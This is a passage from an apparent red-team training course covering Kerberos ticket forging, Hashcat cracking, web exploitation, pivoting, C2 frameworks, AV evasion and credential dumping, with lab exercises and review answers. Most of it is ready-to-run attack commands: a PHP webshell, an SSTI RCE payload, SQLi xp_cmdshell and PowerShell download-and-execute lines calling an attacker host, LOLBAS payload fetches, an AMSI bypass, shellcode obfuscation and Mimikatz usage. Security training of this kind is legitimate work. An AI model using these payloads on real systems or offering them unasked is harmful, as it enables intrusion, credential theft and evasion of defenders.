Forge a TGS for a specific service using that service account's hash. Does not require krbtgt hash and never contacts the DC (completely offline), making it harder to detect.

```
impacket-ticketer -nthash SERVICE_ACCOUNT_HASH \
  -domain-sid S-1-5-21-XXXXXXX-XXXXXXX-XXXXXXX \
  -domain lab.local \
  -spn cifs/ws01.lab.local \
  administrator

export KRB5CCNAME=administrator.ccache
impacket-psexec -k -no-pass lab.local/administrator@ws01.lab.local
```

Common Mistakes

- Kerberoasting without checking the hash type — AES256 encrypted tickets take vastly longer to crack than RC4; request RC4 downgrade where possible with Rubeus **kerberoast /tgtdeleg**.
- Forgetting to set **KRB5CCNAME** before using Impacket with **-k** flag — the tool silently fails without knowing where the ticket file is.
- Running Pass-the-Ticket from the wrong session context — tickets are bound to a specific LUID (logon session) on Windows; Rubeus **ptt** injects into the current session's LUID.
- Treating Golden Tickets as undetectable — while powerful, modern SIEM solutions detect the group membership discrepancies in forged tickets. The technique works but may be caught.

Real-World Usage

In practice, Kerberoasting is the most frequently productive technique on first foothold — service accounts with SPNs are extremely common in enterprise environments, many are domain admins or have excessive privileges, and passwords set years ago are often crackable. It's frequently the one-step path from low-privilege user to Domain Admin.

Guided Lab — Full Kerberos Chain

```
# 1. AS-REP Roast (no creds needed if you have usernames)
impacket-GetNPUsers lab.local/ -dc-ip 192.168.56.10 -no-pass -usersfile users.txt -format hashcat

# 2. Kerberoast (with jsmith creds)
impacket-GetUserSPNs lab.local/jsmith:Password123 -dc-ip 192.168.56.10 -request

# 3. Crack in Module 9, then:
impacket-secretsdump -just-dc lab.local/svc_backup:CrackedPassword@192.168.56.10

# 4. Use krbtgt hash to forge golden ticket
impacket-ticketer -nthash KRBtgt_HASH -domain-sid S-1-5-21-... -domain lab.local administrator
```

Challenge Lab

From only jsmith's credentials, perform the complete Kerberos kill chain: Kerberoast → crack → lateral move using cracked account → DCSync → golden ticket → use the forged ticket for domain admin shell. Document each step's output and the corresponding MITRE ATT&CK technique ID.

Review Questions

1. Why can't Kerberoasting trigger account lockout?
2. What is the key difference between Overpass-the-Hash and Pass-the-Hash?
3. Why is a Silver Ticket harder to detect than a Golden Ticket?
4. What does an attacker gain by compromising an unconstrained delegation host?
5. What two things are needed to forge a Golden Ticket?

Answers

1. Requesting a service ticket (TGS) is a normal, expected Kerberos operation — there's no authentication attempt against the account's password and no failed login, so no lockout mechanism is triggered.
2. Pass-the-Hash uses the NT hash for NTLM authentication directly. Overpass-the-Hash converts the NT hash into a Kerberos TGT request — the resulting authentication appears as Kerberos (not NTLM) in logs, bypassing NTLM monitoring.

3. A Silver Ticket never contacts the Domain Controller (the service validates it locally using its own hash) — there are no KDC event logs for the forged ticket. A Golden Ticket does contact the KDC (for TGS requests) and the forged group memberships can be detected.
4. Every user who authenticates to that host sends their TGT — if a Domain Admin authenticates, their TGT is retrievable from LSASS memory, enabling full impersonation of that DA account without needing their password or hash.
5. The krbtgt account's NT hash (or AES key) and the domain's Security Identifier (SID).

MODULE 09

Password Attacks and Hashcat

Objectives

Identify hash types, crack NTLM hashes, Kerberos tickets, NTLMv2 captures, and other formats with Hashcat, build effective wordlists and rule sets, perform online credential spraying with timing discipline, and understand when to crack versus pass.

Theory

Password attacks fall into two categories: **offline cracking** (you have a hash, you crack it locally on your GPU without touching the target — no lockout risk, no noise) and **online spraying** (you test credentials against a live service — lockout risk, very detectable, used sparingly). Offline cracking is almost always preferred and is where 90% of your time goes.

Deep Technical Explanation

Hash Type Identification

```
# hashid — identify hash type from format
hashid '$krb5tgs$23$*...'
hashid 'aad3b435b51404eeaad3b435b51404ee:8846f7eae8fb117ad06bdd830b7586c'

# haiti — more accurate alternative
pip3 install haiti-hash --break-system-packages
haiti '5f4dcc3b5aa765d61d8327deb882cf99'
```

Hashcat Core Syntax

```
hashcat -m <mode> -a <attack_mode> <hashfile> <wordlist/mask>
# -m = hash type, -a = attack type (0=dict, 1=combination, 3=mask/brute, 6=hybrid)
```

Critical Hash Modes Reference

Mode	Hash Type	Example Source
1000	NTLM	SAM/NTDS.dit dump
5600	NetNTLMv2	Responder/Relay capture
5500	NetNTLMv1	Responder/Relay capture
13100	Kerberos TGS (RC4)	Kerberoast output
19600	Kerberos TGS (AES128)	Kerberoast AES
19700	Kerberos TGS (AES256)	Kerberoast AES
18200	Kerberos AS-REP	AS-REP Roast output
3000	LM	Legacy SAM dump
0	MD5	Web app hashes
100	SHA1	Web app hashes
1800	sha512crypt	Linux /etc/shadow
3200	bcrypt	Modern web apps

Dictionary Attack

```
# Crack NTLM hashes with rockyou
hashcat -m 1000 ntlm_hashes.txt /usr/share/wordlists/rockyou.txt

# Kerberoast ticket
hashcat -m 13100 kerb_hashes.txt /usr/share/wordlists/rockyou.txt

# AS-REP hash
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt

# NetNTLMv2 captured by Responder
hashcat -m 5600 ntlmv2.txt /usr/share/wordlists/rockyou.txt

# Show cracked results
hashcat -m 1000 ntlm_hashes.txt --show
```

Rules — Dramatically Increase Coverage

Rules apply transformations to every word in a wordlist (capitalize, append numbers, replace characters, etc.):

```
# Best64 rule – 64 most effective transformations
hashcat -m 1000 ntlm_hashes.txt rockyou.txt -r /usr/share/hashcat/rules/best64.rule

# OneRuleToRuleThemAll – community's most effective single ruleset
# Download: https://github.com/NotSoSecure/password_cracking_rules
hashcat -m 1000 ntlm_hashes.txt rockyou.txt -r OneRuleToRuleThemAll.rule

# d3ad0ne rule
hashcat -m 1000 ntlm_hashes.txt rockyou.txt -r /usr/share/hashcat/rules/d3ad0ne.rule

# Combine multiple rules
hashcat -m 1000 ntlm_hashes.txt rockyou.txt \
  -r /usr/share/hashcat/rules/best64.rule \
  -r /usr/share/hashcat/rules/toggles1.rule
```

Mask Attacks (Brute Force with Structure)

Masks let you brute force with known pattern constraints:

```
# Charset placeholders:
# ?l = lowercase a-z
# ?u = uppercase A-Z
# ?d = digit 0-9
# ?s = special chars
# ?a = all printable

# 8-character password: uppercase + 6 lowercase + digit (e.g., Password1)
hashcat -m 1000 ntlm_hashes.txt -a 3 ?u?l?l?l?l?l?l?d

# Corporate password pattern: Word + 4 digits (Season2024, Winter2023)
hashcat -m 1000 ntlm_hashes.txt -a 6 seasons.txt ?d?d?d?d

# 6-8 char all alphanumeric
hashcat -m 1000 ntlm_hashes.txt -a 3 --increment --increment-min 6 --increment-max 8 ?a?a?a?a?a?a?a
```

Building Custom Wordlists

```
# cewl – spider a website and extract unique words (great for target-specific lists)
cewl https://targetcorp.com -d 3 -m 5 -w cewl_wordlist.txt

# Add company-specific mutations
echo "TargetCorp" >> custom.txt
echo "targetcorp" >> custom.txt
echo "TargetCorp2024!" >> custom.txt
echo "Welcome1" >> custom.txt
echo "Summer2024" >> custom.txt

# Combine cewl output with best64 rules
hashcat -m 1000 ntlm_hashes.txt cewl_wordlist.txt -r best64.rule

# Username-as-password wordlist (very common in enterprise)
# Derive from username list you already have from recon
```

Responder — Capturing NetNTLMv2 Hashes

Responder poisons LLMNR, NBT-NS, and mDNS queries on the local network, redirecting authentication requests to your machine and capturing the resulting NTLMv2 challenge-response:

```
# Listen and capture (on the internal network segment)
sudo responder -I eth1 -rdwv

# Wait for clients to request non-existent hosts
# Output: [+] NTLMv2 Hash Captured ...
# Save to Responder/logs/ automatically

# Crack the capture
hashcat -m 5600 Responder/logs/HTTP-NTLMv2-192.168.56.20.txt rockyou.txt -r best64.rule
```

Critical: Run Responder in listen-only mode (**-A**) when ntlmrelayx is also running — they conflict on the same ports. Either capture OR relay, not both simultaneously.

John the Ripper — Alternative Cracker

```
# NTLM
john --format=NT --wordlist=rockyou.txt ntlm_hashes.txt

# Kerberoast
john --format=krb5tgs --wordlist=rockyou.txt kerb_hashes.txt

# Show cracked
john --show ntlm_hashes.txt
```

Pass vs Crack Decision

Not every hash needs to be cracked. If you have an NTLM hash for an admin account and your goal is lateral movement, **just pass it** — cracking takes time and GPU power, while pass-the-hash is instantaneous. Crack when:

- You need the plaintext (for a system that doesn't accept NTLM hashes, like HTTPS portal)
- You want to test if the password is reused elsewhere (same password → multiple accounts)
- The engagement scope requires demonstrating password weakness for the report

Online Spraying with Lockout Awareness

```
# Check lockout policy first
nxc ldap 192.168.56.10 -u jsmith -p Password123 --pass-pol

# Output: badPwdCount threshold (e.g., 5), lockout duration (e.g., 30min)
# Safe rule: spray 1 password per user, wait 2x the reset window between sprays

# Spray via Kerbrute (Kerberos-based, doesn't touch SMB/LDAP logs the same way)
kerbrute passwordspray -d lab.local --dc 192.168.56.10 users.txt 'Password123'

# SMB spray via NetExec (Module 7)
nxc smb 192.168.56.0/24 -u users.txt -p 'Password123' --no-bruteforce --continue-on-success
```

Common Mistakes

- Using only rockyou.txt without rules — covers maybe 40% of enterprise passwords. With rules: 70%+. With target-specific wordlists + rules: 85%+.
- Not checking hash type before feeding to hashcat — wrong `-m` produces no results silently.
- Spraying without checking password policy first — lockouts are noisy, disruptive, and immediately alert defenders.
- Cracking when you should be passing — wasting hours trying to crack a hash you can already use for auth.

Real-World Usage

In practice, the crack-chain runs constantly in the background: dump hashes → crack in background → use cracked passwords to re-authenticate to web portals/VPNs where pass-the-hash doesn't work → find reused passwords across systems → crack the next layer. Good wordlist + rules often produces results within minutes on common enterprise passwords.

Guided Lab — Crack the Kerberoast Ticket

```
# 1. Kerberoast (from Module 8)
impacket-GetUserSPNs lab.local/jsmith:Password123 -dc-ip 192.168.56.10 -request -outputfile kerb.txt

# 2. Crack
hashcat -m 13100 kerb.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule

# 3. Check result
hashcat -m 13100 kerb.txt --show

# 4. Use the cracked password
impacket-wmiexec lab.local/svc_backup:CrackedPassword@192.168.56.10
```

Challenge Lab

Given a file of NTLM hashes from a SAM dump and a Kerberoast hash: crack all of them using at minimum two different attack modes (dictionary + rules, and mask), building a custom wordlist from the target organization's name. Document which hash cracked with which attack mode and how long each took.

Review Questions

1. What is the Hashcat mode for Kerberoast (RC4) tickets?
2. Why is offline cracking preferred over online spraying?
3. What does a mask of `?u?l?l?l?l?l?l?d` represent?
4. What is Responder and what hash type does it capture?
5. When should you pass a hash instead of cracking it?

Answers

1. Mode 13100.
2. Offline cracking has zero target interaction — no lockout risk, no detection, no logs on the target. Online spraying touches the live target and can lock accounts, generate alerts, and be rate-limited.
3. A pattern matching one uppercase letter, six lowercase letters, and one digit — representing common passwords like "Password1" or "Welcome1".
4. A network poisoner that responds to LLMNR/NBT-NS/mDNS queries with its own address, capturing NetNTLMv2 challenge-response authentication from clients that connect to it.
5. When you need lateral movement immediately and the NTLM hash works directly for authentication (psexec/wmiexec/NetExec), rather than spending GPU time cracking something you can already use.

PART III

Full Spectrum Operations

Web exploitation, Ligolo-ng pivoting, C2 frameworks,
AV evasion, post-exploitation, and red team ops.

MODULE 10

Web Application Red Teaming

Objectives

Integrate web application exploitation into a red team engagement: identify and exploit common web vulnerabilities as initial access vectors, use Burp Suite as an interception and manipulation platform, chain web bugs into system-level access, and understand which web vulnerabilities are most relevant to red team initial access.

Theory

Web applications are the most common initial access vector in real red team engagements — exposed to the internet, often poorly patched, and frequently running with server-level privileges. The goal in red team web work isn't comprehensive web app testing (that's a separate web app pentest engagement) — it's finding the one or two vulnerabilities that grant initial foothold or significant data access.

Deep Technical Explanation

Burp Suite — Core Setup

```
# Launch Burp (Community Edition ships on Kali)
burpsuite &

# Configure browser proxy: 127.0.0.1:8080
# Install Burp CA cert in browser (http://burp → CA Certificate)
```

Key Burp features for red team:

- **Proxy / Intercept** — capture and modify every request/response
- **Repeater** — replay individual requests with modifications
- **Intruder** — automated payload insertion (rate-limited in Community)
- **Decoder** — base64/URL/hex encoding/decoding
- **Scanner** — passive/active vulnerability detection (Pro only)

Initial Access Web Vulnerabilities

SQL Injection → OS Command Execution

```
# Manual detection
' OR '1'='1
' OR 1=1--
'; WAITFOR DELAY '0:0:5'--      (MSSQL time-based blind)

# SQLMap - automated detection and exploitation
sqlmap -u "http://target.com/login.php?id=1" --dbs
sqlmap -u "http://target.com/login.php?id=1" -D webapp_db --tables
sqlmap -u "http://target.com/login.php?id=1" --os-shell      # OS shell via INTO OUTFILE or xp_cmdshell
sqlmap -u "http://target.com/login.php" --data="user=admin&pass=test" --dbs

# MSSQL: xp_cmdshell via SQLi
' ; EXEC xp_cmdshell 'powershell -c IEX(New-Object Net.WebClient).DownloadString("http://192.168.56.1/shell.ps1")'--
```

File Upload Bypass

```
# Generate PHP webshell
echo '<?php system($_GET["cmd"]); ?>' > shell.php

# Bypass extension filter - try:
shell.php5 / shell.phtml / shell.php.jpg / shell.Php / shell.php%00.jpg

# Verify execution
curl "http://target.com/uploads/shell.php?cmd=id"

# Upgrade to Meterpreter (Module 6 MSFVenom payload, Module 2 from Metasploit book)
msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.56.1 LPORT=4444 -f raw -o meter.php
```

Server-Side Template Injection (SSTI)

```
# Detection payloads (inject into any user-controlled field that's reflected)
{{7*7}}          # → 49 means Jinja2/Twig
${7*7}           # → 49 means Freemarker/Velocity
<%= 7*7 %>       # → 49 means ERB (Ruby)

# Jinja2 RCE
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
```

Local File Inclusion (LFI) → RCE

```
# Basic LFI
http://target.com/page.php?file=../../../../etc/passwd

# LFI to RCE via log poisoning
# 1. Inject PHP into access log via User-Agent
curl -A "<?php system($_GET['cmd']); ?>" http://target.com/
# 2. Include the log
http://target.com/page.php?file=../../../../var/log/apache2/access.log&cmd=id
```

Command Injection

```
# Test payloads in any user-input that touches OS commands
; id
| id
`id`
$(id)
& whoami

# Out-of-band (blind) detection via ping/DNS
; ping -c 1 192.168.56.1
; nslookup attacker-collaborator.com
```

Gobuster / FFuF — Directory and Parameter Fuzzing

```
# Directory enumeration
gobuster dir -u http://192.168.56.101 -w /usr/share/seclists/Discovery/Web-Content/rob-404.txt -x php,txt,html -o gobuster_out.txt

# VHOST discovery
gobuster vhost -u http://targetcorp.com -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt

# Parameter fuzzing (ffuf)
ffuf -u "http://target.com/page.php?FUZZ=../../../../etc/passwd" \
-w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt \
-fw 12 # filter by word count to remove false positives
```

Common Mistakes

- Running SQLMap with all defaults in aggressive mode on a production engagement — use `--level 1` `--risk 1` and escalate only as needed.
- Not capturing every web request in Burp history — important evidence for the report that's hard to reconstruct afterward.
- Stopping at "I can read /etc/passwd" and not pursuing full RCE via the same LFI vector.

Guided Lab — DVWA Full Web Chain

1. Set DVWA security to Low. Work through: SQLi → user table dump, File Upload → PHP webshell → system shell, Command Injection → reverse shell.
2. Progress to Medium security and identify how each defense is implemented and bypassed.
3. Document each finding per the Module 16 report format.

Review Questions

1. What is the most dangerous capability SQLMap's `--os-shell` provides?
2. How does LFI become RCE via log poisoning?
3. What does SSTI `{{7*7}}` returning `49` indicate?

Answers

1. Direct OS command execution on the database server through SQL injection, effectively converting a database vulnerability into a system-level shell.
2. By injecting PHP code into a server log file (via a crafted User-Agent or URL parameter), then using the LFI to include (and thereby execute) that log file as PHP.
3. That the template engine is Jinja2 or Twig and is evaluating server-side expressions — a confirmed SSTI vulnerability enabling arbitrary Python/PHP execution.

Module 11 — Exploitation Beyond Metasploit

Objectives

Find, adapt, and execute exploits outside the Metasploit framework: use searchsploit, ExploitDB, and CVE databases, compile and run C/Python PoC exploits, understand why manual exploitation builds deeper competence than framework reliance.

Theory

OSCP restricts Metasploit usage. Real engagements sometimes require custom exploit chains not in the framework. The skill of reading a PoC and making it work — adjusting offsets, fixing Python 2 to 3 compatibility, adding shellcode — is what separates a tool-runner from a genuine exploit operator.

Deep Technical Explanation

SearchSploit

```
# Search ExploitDB locally
searchsploit vsftpd
searchsploit "apache 2.4"
searchsploit -t samba      # search titles only

# Copy exploit to working directory
searchsploit -m 47837      # exploit ID from search results

# Update database
sudo searchsploit --update
```

Workflow — Finding and Running a PoC

```
# 1. Identify service version from enumeration
nmap -sV 192.168.56.101 # → vsftpd 2.3.4

# 2. Search for known exploits
searchsploit vsftpd 2.3.4
# Result: unix/remote/49757.py

# 3. Examine the exploit
searchsploit -m 49757
cat 49757.py

# 4. Run it
python3 49757.py 192.168.56.101 21

# 5. If Python 2 / import errors, fix compatibility:
# Replace: print "x" → print("x")
# Replace: raw_input → input
# Replace: urllib2 → urllib.request
```

Cross-Compiling Windows Exploits from Kali

```
# Compile a C exploit for Windows x64 on Kali
sudo apt install mingw-w64 -y
x86_64-w64-mingw32-gcc exploit.c -o exploit.exe

# For x86
i686-w64-mingw32-gcc exploit.c -o exploit32.exe

# Transfer to target via Meterpreter upload, smbclient, or certutil
certutil -urlcache -split -f http://192.168.56.1/exploit.exe C:\temp\exploit.exe
```

Buffer Overflow Basics (Stack BOF — x86)

OSCP still tests manual BOF on x86 targets. Core workflow:

```
# Step 1: Find crash offset
python3 -c "print('A' * 2000)" | nc target 9999

# Step 2: Generate pattern
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2000

# Step 3: Find EIP offset from crash
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 386F4337

# Step 4: Control EIP – send offset bytes + "BBBB" for EIP
# Step 5: Find bad characters – send all bytes 0x00-0xff
# Step 6: Find JMP ESP in a non-ASLR module
# Step 7: Generate shellcode (msfvenom -b for bad chars)
# Step 8: Build final payload: padding + JMP_ESP_address + NOP_sled + shellcode
```

Guided Lab

Take an intentionally vulnerable buffer overflow app (vulnserver, or any OSCP-prep lab BOF), fuzz it to find the crash, use pattern to find the EIP offset, control EIP, find a JMP ESP, and deliver msfvenom shellcode to get a reverse shell — all without using a Metasploit exploit module.

Review Questions

1. What does `searchsploit -m <id>` do?
2. What is the purpose of a NOP sled in a buffer overflow exploit?
3. Why must you find and exclude bad characters?

Answers

1. Copies the exploit file from the local ExploitDB mirror to the current directory for editing and use.
2. It provides a range of no-operation instructions before the shellcode, increasing the probability that an imprecise jump lands somewhere that still slides into the payload.
3. Certain byte values terminate or corrupt data in the vulnerable code path (e.g., null bytes end strings), causing the shellcode to be truncated or mangled before execution.

Module 12 — Pivoting and Tunneling

Objectives

Build multi-hop tunnel chains from Kali through compromised hosts into unreachable network segments using Ligolo-ng, Chisel, SSH tunneling, and sshuttle — understanding when each technique is appropriate.

Theory

Modern red team pivoting has evolved beyond Metasploit's autoroute. Ligolo-ng in particular creates a full kernel-level tunnel that routes any tool transparently — no proxychains wrapping needed. Knowing multiple pivoting techniques gives you fallback options when one is blocked.

Deep Technical Explanation

Ligolo-ng — The Modern Standard

Ligolo-ng creates a virtual TUN interface on Kali, routing traffic through an agent on the compromised host:

```
# On Kali – download proxy
wget https://github.com/nicocha30/ligolo-ng/releases/latest/download/proxy_linux_amd64 -O ligolo-proxy
chmod +x ligolo-proxy

# Create TUN interface
sudo ip tuntap add user $USER mode tun ligolo
sudo ip link set ligolo up

# Start proxy listener
./ligolo-proxy -selfcert -laddr 0.0.0.0:11601

# On compromised host – deploy agent
./ligolo-agent -connect 192.168.56.1:11601 -ignore-cert

# Back in proxy – start tunnel session
[Agent connected] >> session
>> start

# Add route to internal segment
sudo ip route add 192.168.100.0/24 dev ligolo

# Now run ANY tool directly – no proxychains
nmap -sT -Pn 192.168.100.10
nxc smb 192.168.100.0/24 -u admin -p pass
```

Chisel — HTTP-Based Tunnel

Chisel wraps SOCKS5 in HTTP — useful when only port 80/443 is permitted outbound:

```
# On Kali (server)
./chisel server -p 8080 --reverse

# On compromised host (client)
./chisel client 192.168.56.1:8080 R:socks

# Configure proxychains to use 127.0.0.1:1080
# Then: proxychains nmap -sT -Pn 192.168.100.10
```

SSH Tunneling


```
# Local port forward: make remote service available locally
ssh -L 3389:192.168.100.20:3389 jsmith@192.168.56.20
# Now: xfreerdp /u:admin /p:pass /v:127.0.0.1:3389

# Dynamic SOCKS proxy via SSH
ssh -D 1080 jsmith@192.168.56.20
# Configure proxychains, then proxy any tool

# Remote port forward (reverse tunnel – pivot host initiates connection to us)
ssh -R 2222:127.0.0.1:22 attacker@192.168.56.1
# From attacker: ssh -p 2222 victim@localhost

# sshuttle – VPN-like tunnel over SSH
sshuttle -r jsmith@192.168.56.20 192.168.100.0/24
# All traffic to 192.168.100.0/24 now routes through the pivot
```

Multi-Hop Pivoting

```
# Hop 1: Kali → Host A (192.168.56.20)
# Hop 2: Host A → Host B (192.168.100.30) → deeper segment (10.10.10.0/24)

# Ligolo-ng nested: start a second agent on Host B after reaching it via first tunnel
# On Kali: sudo ip route add 10.10.10.0/24 dev ligolo
# Agent on Host B connects back to Kali's proxy

# Chain SSH tunnels
ssh -J jsmith@192.168.56.20 admin@192.168.100.30
# -J = ProxyJump, chains SSH through intermediate host transparently
```

Guided Lab

Set up a three-host pivot scenario: Kali → Pivot (dual-homed) → Internal Target. Deploy Ligolo-ng, add the required route, and confirm you can run a bare nmap against the internal target without proxychains.

Review Questions

1. What makes Ligolo-ng superior to Metasploit's autoroute for external tools?
2. Why is Chisel useful when only port 80/443 is permitted outbound?
3. What does `ssh -D 1080` create?

Answers

1. Ligolo-ng creates a real kernel TUN interface, routing traffic at the OS level — any tool runs normally without wrapping. Metasploit's autoroute only benefits Metasploit's own modules.

2. Chisel wraps tunnel traffic inside HTTP, allowing it to traverse firewalls that permit web traffic but block other protocols like raw TCP on non-standard ports.
3. A dynamic SOCKS proxy listening on port 1080 on the local machine, tunneling all SOCKS traffic through the SSH connection to the remote host.

Module 13 — C2 Frameworks

Objectives

Understand Command and Control (C2) framework architecture, deploy and operate Havoc C2 in a lab environment, manage multiple agents, use sleep/jitter for operator security, and understand how C2 traffic is profiled by defenders.

Theory

A Command and Control framework replaces ad-hoc shell sessions with a structured, scalable operator interface: multiple agents, persistent sessions, team collaboration, malleable traffic profiles, and built-in post-exploitation modules. Metasploit's multi/handler is the simplest C2; professional red teams use dedicated frameworks like Cobalt Strike (commercial), Havoc, Sliver, or Brute Ratel.

Deep Technical Explanation

C2 Architecture

```
[Operators] → [Team Server] → [Listener] ← [Agent/Implant on Victim]
                        ↑
                HTTP/HTTPS/DNS callback
```

Key components:

- **Team Server** — central server that operators connect to; stores all sessions, tasks, logs
- **Listener** — the port/protocol the agent calls back to (HTTP, HTTPS, DNS, SMB named pipe)
- **Agent/Implant** — code running on the victim that executes tasks and sends results
- **Malleable Profile** — configures how C2 traffic looks (mimics normal web traffic, CDN patterns, etc.)

Havoc C2 — Open Source Lab Framework

```
# Install Havoc (lab use only)
git clone https://github.com/HavocFramework/Havoc.git
cd Havoc
# Follow build instructions in repo README (Go + cmake required)

# Start team server
./havoc server --profile profiles/havoc.yaotl

# Start client (Havoc UI)
./havoc client

# Connect: 127.0.0.1:40056, profile credentials
```

Sliver C2 — Go-Based Alternative

```
# Install
curl https://sliver.sh/install | sudo bash

# Start server
sliver-server

# Generate implant
sliver > generate --mtls 192.168.56.1:8888 --os windows --arch amd64 --save /tmp/

# Start listener
sliver > mtls --lport 8888

# Once agent connects
sliver > sessions
sliver > use <session-id>
sliver (session) > whoami
sliver (session) > shell
```

Operational Security (OPSEC) for C2

- **Sleep + Jitter** — agents that beacon every 60 seconds $\pm$ 30% jitter look like normal background traffic. Agents that beacon every 0.5 seconds look like malware.
- **HTTPS with valid-looking certificates** — use certificates that match your traffic profile (a CDN profile shouldn't use a self-signed cert).
- **Domain Fronting** — routes C2 traffic through a trusted CDN (CloudFront, Azure CDN) so the destination IP seen at the perimeter firewall is a CDN IP, not your team server.
- **Redirectors** — intermediate servers between victim and team server that forward traffic and absorb attribution — if discovered and blocked, team server is never exposed.

```
Victim → [Redirector: nginx + allow-listing] → Team Server
```

Guided Lab

Deploy Sliver in your lab, generate a Windows agent (for your lab Windows 10 VM), start an mTLS listener, execute the agent on the Windows VM, and practice: listing sessions, interacting with one, running `whoami`, `ps`, uploading a file, and backgrounding the session.

Review Questions

1. What is a "malleable C2 profile"?
2. Why are redirectors used in professional red team infrastructure?
3. What do sleep and jitter do for OPSEC?

Answers

1. A configuration file that controls how C2 network traffic is shaped — headers, URIs, timing, response content — to mimic legitimate traffic (e.g., a CDN request) and evade network-based detection.
2. They absorb attribution: if the victim's security team discovers and blocks the redirector IP, the actual team server (and all other ongoing operations) remains unexposed and unblocked.
3. Sleep sets the callback interval between check-ins; jitter adds random variation to that interval. Together they prevent the regular, machine-precise timing pattern that network monitoring uses to identify malware beaconing.

Module 14 — Evasion and AV Bypass

Objectives

Understand how antivirus and EDR detect malware, apply practical obfuscation and encoding techniques, use memory-only execution techniques, and understand the limits of evasion in lab versus real environments.

Theory

Modern Endpoint Detection and Response (EDR) uses a layered detection approach: signature detection (byte patterns), behavioral detection (suspicious API call sequences), heuristic detection (statistical anomaly), and cloud-based reputation. Evading all layers simultaneously is a deeply specialized skill — this module covers the foundational techniques and the honest limits of each.

Deep Technical Explanation

How EDR Detects Threats

Detection layers in roughly escalating sophistication:

1. **Static signature** — known byte pattern in the file (old AV, easily evaded)
2. **Static heuristic** — PE structure anomalies, suspicious import combinations
3. **Dynamic/behavioral** — runtime API call monitoring (VirtualAllocEx + WriteProcessMemory + CreateRemoteThread = classic injection)
4. **Memory scanning** — periodic scan of process memory for known shellcode patterns
5. **Kernel telemetry** — ETW (Event Tracing for Windows), kernel callbacks, minifilter drivers watching every syscall

PowerShell AMSI Bypass

AMSI (Antimalware Scan Interface) hooks PowerShell and passes every script block to the local AV before execution:

```
# Classic AMSI bypass (patching AmsiScanBuffer in memory – detectable but common in labs)
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

# String concatenation to evade static analysis of the bypass itself
$a='Ref'
$b='Assembly'
[System.$a].$b.GetType('System.Management.Automation.AmsiUtils')...
```

Payload Obfuscation

```
# XOR encoding custom shellcode in Python
python3 -c "
shellcode = bytearray(b'\xfc\x48\x83...') # your raw shellcode
key = 0x41
encoded = bytearray([b ^ key for b in shellcode])
print(','.join([hex(b) for b in encoded]))
"

# Invoke-Obfuscation (PowerShell obfuscation framework)
Import-Module Invoke-Obfuscation
Invoke-Obfuscation -ScriptPath payload.ps1 -Command 'Token\All\1' -Quiet

# garble – Go binary obfuscation
go install mvdan.cc/garble@latest
garble build -o obfuscated.exe main.go
```

In-Memory Execution Techniques

```
# Download and execute entirely in memory – never touches disk
IEX(New-Object Net.WebClient).DownloadString('http://192.168.56.1/Invoke-PowerShellTcp.ps1')

# Reflective DLL injection (loading a DLL into process memory without LoadLibrary)
# Done by tools like Cobalt Strike / Havoc automatically
# Manual: use C code calling VirtualAlloc + custom loader

# Process Hollowing – spawn legitimate process suspended, replace its memory
# High evasion, complex implementation – conceptually important
```

Living Off The Land (LOLBAS)

Use legitimate, signed Windows binaries to execute payloads — these bypass application whitelisting and look like normal admin activity:

```
# certutil – download and decode files
certutil -urlcache -split -f http://192.168.56.1/payload.exe C:\temp\payload.exe

# mshta – execute HTA application
mshta http://192.168.56.1/evil.hta

# regsvr32 – execute DLL / SCT script
regsvr32 /s /n /u /i:http://192.168.56.1/payload.sct scrobj.dll

# rundll32
rundll32.exe javascript:"..\mshtml,RunHTMLApplication ";document.write();GetObject("script:http://192.168.56.1/payload.sct")

# Full LOLBAS database
# https://lolbas-project.github.io/
```

Common Mistakes

- Assuming encoder iterations make Metasploit payloads undetectable — they don't in 2026 against any real EDR.
- Testing against Windows Defender only and declaring "AV bypass achieved" — Defender ≠ CrowdStrike, SentinelOne, or Cortex XDR.
- Using complex evasion techniques in a lab without understanding what each one does.

Review Questions

1. What is AMSI and where in the execution chain does it operate?
2. What are LOLBAS and why do they evade application whitelisting?
3. Why is behavioral detection harder to evade than signature detection?

Answers

1. Antimalware Scan Interface — a Windows API that hooks script interpreters (PowerShell, VBScript, JScript) and passes every script block to the installed security product before execution, in memory,

before the code runs.

2. Living Off The Land Binaries — legitimate, Microsoft-signed Windows executables that can execute attacker-controlled code. Application whitelisting allows known-signed binaries by default, so running a payload through certutil or mshta inherits the trust of those signed binaries.
3. Behavioral detection watches what code actually *does* at runtime (API call patterns, process relationships, network connections) rather than what it looks like statically. You can change every byte of a payload's structure through encoding; you cannot change the fundamental API calls required to inject code or establish a callback without replacing the technique entirely.

Module 15 — Post-Exploitation and Data Exfiltration

Objectives

Perform thorough post-exploitation on compromised Windows hosts — credential harvesting, enumeration, privilege escalation, and data staging — and understand exfiltration channels and data handling responsibilities.

Theory

Post-exploitation is where impact is demonstrated. A domain admin shell is meaningless in a report without evidence of what an attacker could *do* with it. This module turns "I have a shell" into documented, high-impact findings.

Deep Technical Explanation

Credential Harvesting — Windows

```
# Mimikatz (from a SYSTEM/DA session — on Windows host directly)
.\mimikatz.exe
privilege::debug
sekurlsa::logonpasswords    # LSASS dump — plaintext creds + NTLM hashes
sekurlsa::tickets          # Dump Kerberos tickets
lsadump::sam               # Local SAM hashes
lsadump::dcsync /user:administrator # DCSync without impacket

# Remotely via Meterpreter (Metasploit book, Module 5)
meterpreter > load kiwi
meterpreter > creds_all

# Remotely via NetExec
nxc smb 192.168.56.20 -u administrator -p Password123 -M mimikatz
```

Windows Privilege Escalation Enumeration

```
# WinPEAS – automated Windows privesc enumeration
.\winPEASx64.exe

# PowerUp – PowerShell-based privesc checks
Import-Module .\PowerUp.ps1
Invoke-AllChecks

# Seatbelt – security configuration auditing
.\Seatbelt.exe -group=all

# Manual key checks:
whoami /priv          # token privileges – SeImpersonatePrivilege = Potato attacks
sc query              # running services
wmic service get name,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows"
icacls "C:\Program Files\VulnApp\service.exe" # weak service binary permissions
